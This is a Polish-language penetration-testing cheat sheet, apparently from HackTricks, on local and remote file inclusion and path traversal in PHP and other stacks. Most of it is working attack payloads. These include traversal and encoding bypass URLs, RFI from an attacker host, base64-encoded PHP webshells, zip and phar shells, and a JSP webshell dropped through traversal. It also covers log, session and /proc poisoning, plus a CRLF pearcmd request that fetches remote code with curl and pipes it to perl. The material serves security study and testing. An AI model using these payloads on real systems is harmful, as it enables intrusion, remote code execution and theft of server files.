36 KiB
File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
File Inclusion
Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to domyślnie wyłączone (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.
Luka występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer.
Funkcje PHP podatne: require, require_once, include, include_once
Ciekawe narzędzie do wykorzystania tej podatności: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Łącząc kilka list LFI *nix i dodając więcej ścieżek, stworzyłem tę jedną:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}
Spróbuj także zmienić / na \
Spróbuj także dodać ../../../../../
Listę, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy vulnerability istnieje) można znaleźć here
Windows
Połączenie różnych wordlists:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}
Spróbuj także zmienić / na \
Spróbuj także usunąć C:/ i dodać ../../../../../
Listę, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy vulnerability istnieje) można znaleźć here
OS X
Sprawdź listę LFI dla Linux.
Podstawowe LFI i obejścia
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być też zastosowane do Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences usuwane nierekursywnie
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass omijający dodawanie dodatkowych znaków na końcu podanego łańcucha (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
To zostało rozwiązane od PHP 5.4
Kodowanie
Możesz użyć niestandardowych kodowań, takich jak double URL encode (i inne):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Z istniejącego folderu
Być może back-end sprawdza ścieżkę folderu:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Eksploracja katalogów systemu plików na serwerze
System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
- Określ głębokość katalogu: Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku /etc/passwd (dotyczy serwerów opartych na Linuksie). Przykładowy URL może wyglądać następująco, wskazując głębokość 3:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Dodaj nazwę podejrzanego folderu (np.
private) do URL, a następnie wróć do/etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpretacja wyników: Odpowiedź serwera wskazuje, czy folder istnieje:
- Błąd / Brak wyjścia: Folder
privateprawdopodobnie nie istnieje pod wskazaną ścieżką. - Zawartość
/etc/passwd: Potwierdzono obecność folderuprivate.
- Eksploracja rekurencyjna: Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
Dla eksploracji katalogów w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation is a method employed to manipulate file paths in web applications. Często jest wykorzystywana do uzyskania dostępu do plików z ograniczonym dostępem przez obejście mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal będzie wskazywać na żądany plik.
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. Na przykład:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- Gdy ostatnie 6 znaków to
passwd, dopisanie/(tworzącpasswd/) nie zmienia docelowego pliku. - Podobnie, jeśli do ścieżki pliku dopisane jest
.php(np.shellcode.php), dodanie/.na końcu nie zmieni pliku, do którego uzyskiwany jest dostęp.
Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do /etc/passwd, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) połączone z dodatkowymi dot segments i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków. - Determining the Required Number of Traversals: Metodą prób i błędów można ustalić dokładną liczbę sekwencji
../potrzebnych do przejścia do katalogu root, a następnie do/etc/passwd, zapewniając, że wszelkie dołączone ciągi (np..php) zostaną zneutralizowane, podczas gdy żądana ścieżka (/etc/passwd) pozostanie nienaruszona. - Starting with a Fake Directory: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np.
a/). Technika ta jest używana jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek serwera.
Stosując techniki path truncation, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często niezbędne, aby znaleźć najbardziej efektywną metodę.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
W php jest to wyłączone domyślnie, ponieważ allow_url_include jest Off. Musi być On, aby działało, i w takim przypadku możesz dołączyć plik PHP ze swojego serwera i uzyskać RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Jeśli z jakiegoś powodu allow_url_include jest On, ale PHP filtruje dostęp do zewnętrznych stron, według tego wpisu, możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
W poprzednim kodzie na końcu dodano
+.txt, ponieważ atakujący potrzebował ciągu kończącego się na.txt, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a w konsekwencji wykonany).
Inny przykład nie używający protokołu php:// to:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Element root w Pythonie
W Pythonie, w kodzie takim jak ten:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Jeśli użytkownik poda absolute path do file_name, poprzednia ścieżka zostaje po prostu usunięta:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
To jest zamierzone zachowanie zgodnie z the docs:
Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną.
Java Listowanie katalogów
Wygląda na to, że jeśli masz Path Traversal w Java i zażądasz katalogu zamiast pliku, zwrócona zostanie lista zawartości katalogu. Nie będzie to miało miejsca w innych językach (o ile wiem).
Top 25 parameters
Oto lista top 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI używające wrapperów i protokołów PHP
php://filter
Filtry PHP pozwalają wykonywać podstawowe operacje modyfikacji danych zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Konwertuje do innego kodowania (convert.iconv.<input_enc>.<output_enc>). Aby uzyskać listę wszystkich obsługiwanych kodowań uruchom w konsoli:iconv -l
Warning
Nadużywając filtru konwersji
convert.iconv.*możesz wygenerować dowolny tekst, co może być przydatne, by zapisać dowolny tekst lub sprawić, że funkcja taka jak include przetworzy dowolny tekst. Więcej informacji znajdziesz w LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Kompresuje zawartość (useful if exfiltrating a lot of info)zlib.inflate: Dekompresuje dane- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Other Filters
- Uruchamiając w PHP
var_dump(stream_get_filters());możesz znaleźć kilka nieoczekiwanych filtrów: consumeddechunk: odwraca HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Część "php://filter" nie rozróżnia wielkości liter
Użycie php filters jako oracle do czytania dowolnych plików
In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie:
- Użyj kodeka
UCS-4LEaby pozostawić pierwszy znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rósł wykładniczo. - Posłuży to do wygenerowania tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta php wywoła błąd.
- Filtr dechunk usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy, więc możemy sprawdzić, czy pierwszy znak jest hex.
- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php.
- Kodek convert.iconv.UNICODE.CP930 zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to ustalić, czy pierwsza litera to na przykład
a, ponieważ jeśli zastosujemy 6 razy ten kodek a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym, więc dechunk jej nie usunie i zostanie wywołany błąd php, ponieważ mnoży się z początkową bombą. - Stosując inne transformacje, jak rot13 na początku, można leakować inne znaki, takie jak n, o, p, q, r (i inne kodeki można użyć, by przesunąć inne litery do zakresu hex).
- Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leakować pierwsze 2 znaki, aby leakować liczbę.
- Końcowym problemem jest ustalenie, jak leakować więcej niż początkową literę. Używając filtrów zmieniających kolejność bajtów, jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery z tekstu.
- A aby móc uzyskać dalsze dane pomysł polega na wygenerowaniu 2 bajtów śmieci na początku przy użyciu convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE, aby to pivot with the next 2 bytes, oraz usunąć dane aż do junk data (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do pożądanego fragmentu do leakowania.
W poście opublikowano również narzędzie automatyzujące to: php_filters_chain_oracle_exploit.
php://fd
Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Możesz także użyć php://stdin, php://stdout and php://stderr aby uzyskać dostęp do file descriptors 0, 1 and 2 odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)
zip:// and rar://
Wgraj plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.
Aby móc wykorzystać protokół rar, musi być on specjalnie aktywowany.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Uwaga: ten protokół jest ograniczony ustawieniami PHP allow_url_open i allow_url_include
expect://
Expect musi być włączony. Możesz uruchomić kod za jego pomocą:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Określ swój payload w parametrach POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Plik .phar może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Aby skompilować plik .phar, należy wykonać następujące polecenie:
php --define phar.readonly=0 create_path.php
Po uruchomieniu zostanie utworzony plik o nazwie test.phar, który potencjalnie może zostać wykorzystany do eksploitacji podatności Local File Inclusion (LFI).
W przypadkach, gdy LFI jedynie odczytuje pliki bez wykonywania zawartego w nich kodu PHP — przez funkcje takie jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() lub filesize() — można spróbować wykorzystać podatność typu deserialization. Ta podatność wiąże się z odczytem plików przy użyciu protokołu phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
{{#ref}} phar-deserialization.md {{#endref}}
CVE-2024-2961
Można było wykorzystać any arbitrary file read from PHP that supports php filters aby uzyskać RCE. Szczegółowy opis można znaleźć w tym poście.
Bardzo krótkie podsumowanie: a 3 byte overflow w PHP heap został wykorzystany, aby zmodyfikować łańcuch wolnych chunków o określonym rozmiarze, co pozwoliło zapisać cokolwiek pod dowolnym adresem, więc dodano hook wywołujący system.
Możliwe było alokowanie chunków o określonych rozmiarach poprzez nadużycie dodatkowych php filters.
Więcej protokołów
Sprawdź więcej możliwych protocols to include here:
- php://memory and php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion)
- file:// — Dostęp do lokalnego systemu plików
- http:// — Dostęp do URL-i HTTP(s)
- ftp:// — Dostęp do adresów FTP(s)
- zlib:// — Strumienie kompresji
- glob:// — Znajdowanie ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc nie jest tu zbyt przydatny)
- ssh2:// — Secure Shell 2
- ogg:// — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
LFI przez 'assert' w PHP
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nieprawidłowo sanityzowane.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Choć ma to na celu powstrzymanie traversal, niezamierzenie tworzy wektor dla code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
' and die(highlight_file('/etc/passwd')) or '
Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:
' and die(system("id")) or '
Ważne jest, aby URL-encode these payloads.
PHP Blind Path Traversal
Warning
Ta technika ma zastosowanie w przypadkach, gdy control ścieżki pliku (file path) funkcji PHP function która będzie access a file, ale nie zobaczysz zawartości pliku (np. proste wywołanie
file()), ponieważ zawartość nie jest wyświetlana.
W this incredible post wyjaśniono, jak blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Podsumowując, technika wykorzystuje kodowanie "UCS-4LE" encoding, aby zawartość pliku była tak big, że PHP function opening plik wywoła error.
Następnie, aby leak the first char używany jest filtr dechunk wraz z innymi, takimi jak base64 czy rot13, a ostatecznie filtry convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE są używane, aby place other chars at the beggining and leak them.
Funkcje, które mogą być podatne: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Szczegóły techniczne znajdziesz we wspomnianym poście!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. filename lub URL) bez canonicalising i walidacji, segmenty .. i ścieżki absolutne mogą uciec z zamierzonego katalogu i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz unauthenticated RCE przez upuszczenie webshell.
Typowy przebieg eksploatacji:
- Znajdź write primitive w endpoint lub background worker, który akceptuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.).
- Określ web-exposed directories. Typowe przykłady:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Stwórz traversal path, który wydostanie się z zamierzonego katalogu storage do webroot i dołącz zawartość webshell.
- Otwórz upuszczony payload w przeglądarce i wykonaj polecenia.
Uwagi:
- Usługa wykonująca zapis może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny web portal (inny port) później będzie serwować twój payload.
- Na stosach Java, zapisy plików są często implementowane prostym łączeniem
File/Paths. Brak canonicalisation/allow-listing jest główną wadą.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Środki zabezpieczające, które niwelują tę klasę błędów:
- Rozwiązuj do ścieżki kanonicznej i wymuszaj, aby była potomkiem katalogu bazowego znajdującego się na białej liście.
- Odrzucaj każdą ścieżkę zawierającą
.., ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. - Uruchamiaj proces zapisujący jako konto o ograniczonych uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
Jeśli serwer Apache lub Nginx jest podatny na LFI wewnątrz funkcji include możesz spróbować uzyskać dostęp do /var/log/apache2/access.log or /var/log/nginx/access.log, umieścić w user agent lub w GET parameter php shell taki jak <?php system($_GET['c']); ?> i includeować ten plik
Warning
Zauważ, że jeśli użyjesz podwójnych cudzysłowów dla shell zamiast pojedynczych, podwójne cudzysłowy zostaną zmienione na łańcuch znaków "quote;", PHP zgłosi błąd i nic więcej nie zostanie wykonane.
Upewnij się również, że prawidłowo zapisujesz payload lub PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz miał drugiej szansy.
To można również zrobić w innych logach, ale uważaj, kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek authorisation "basic" zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony wewnątrz tego nagłówka.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Przez e-mail
Wyślij maila na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj include'ować mail użytkownika ze ścieżką taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>
Przez /proc//fd/
- Uploaduj dużo shelli (na przykład: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Przez /proc/self/environ
Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Aby plik pozostał czytelny, najlepiej wstrzyknąć to do metadanych obrazków/doc/pdf
Przez przesłanie pliku ZIP
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Przez sesje PHP
Sprawdź, czy strona używa sesji PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
W PHP te sesje są przechowywane w plikach /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Ustaw cookie na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Użyj LFI, aby dołączyć plik sesji PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Przez ssh
Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa
Przez vsftpd logi
Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, gdy występuje luka typu Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
- Wstrzyknij payload PHP w pole username podczas procesu logowania.
- Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.
Przez php base64 filter (używając base64)
Jak pokazano w this artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Za pomocą php filters (plik nie jest potrzebny)
This writeup wyjaśnia, że możesz użyć php filters to generate arbitrary content jako output. Co w zasadzie oznacza, że możesz generate arbitrary php code dla include without needing to write go do pliku.
{{#ref}} lfi2rce-via-php-filters.md {{#endref}}
Za pomocą segmentation fault
Upload plik, który zostanie zapisany jako temporary w /tmp, następnie w tej samej request wywołaj segmentation fault, a wtedy temporary file won't be deleted i możesz go wyszukać.
{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}
Za pomocą Nginx temp file storage
Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu poniższej techniki:
{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}
Za pomocą PHP_SESSION_UPLOAD_PROGRESS
Jeśli znalazłeś Local File Inclusion, nawet jeśli don't have a session i session.auto_start jest Off. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP enable the session for you. Można to nadużyć, aby uzyskać RCE:
{{#ref}} via-php_session_upload_progress.md {{#endref}}
Za pomocą temp file uploads in Windows
Jeśli znalazłeś Local File Inclusion i serwer działa na Windows, możesz uzyskać RCE:
{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}
Za pomocą pearcmd.php + URL args
As explained in this post, skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma =, powinien być użyty jako argument. Zobacz także watchTowr’s write-up oraz Orange Tsai’s “Confusion Attacks”.
Poniższe żądanie tworzy plik w /tmp/hello.php z zawartością <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Poniższy przykład wykorzystuje podatność CRLF do uzyskania RCE (z here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Przez phpinfo() (file_uploads = on)
Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:
{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}
Przez compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Jeśli znalazłeś Local File Inclusion i możesz exfiltrate ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować obejść tę kontrolę przy pomocy tej Race Condition:
{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}
Przez eternal waiting + bruteforce
Jeśli możesz wykorzystać LFI do upload temporary files i sprawić, że serwer zawieśnie wykonywanie PHP, możesz następnie brute force nazwy plików przez wiele godzin, aby znaleźć plik tymczasowy:
{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}
Do Fatal Error
Jeśli dołączysz którykolwiek z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
Nie wiem, jak to może być przydatne, ale może.
Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane.

Źródła
- PayloadsAllTheThings
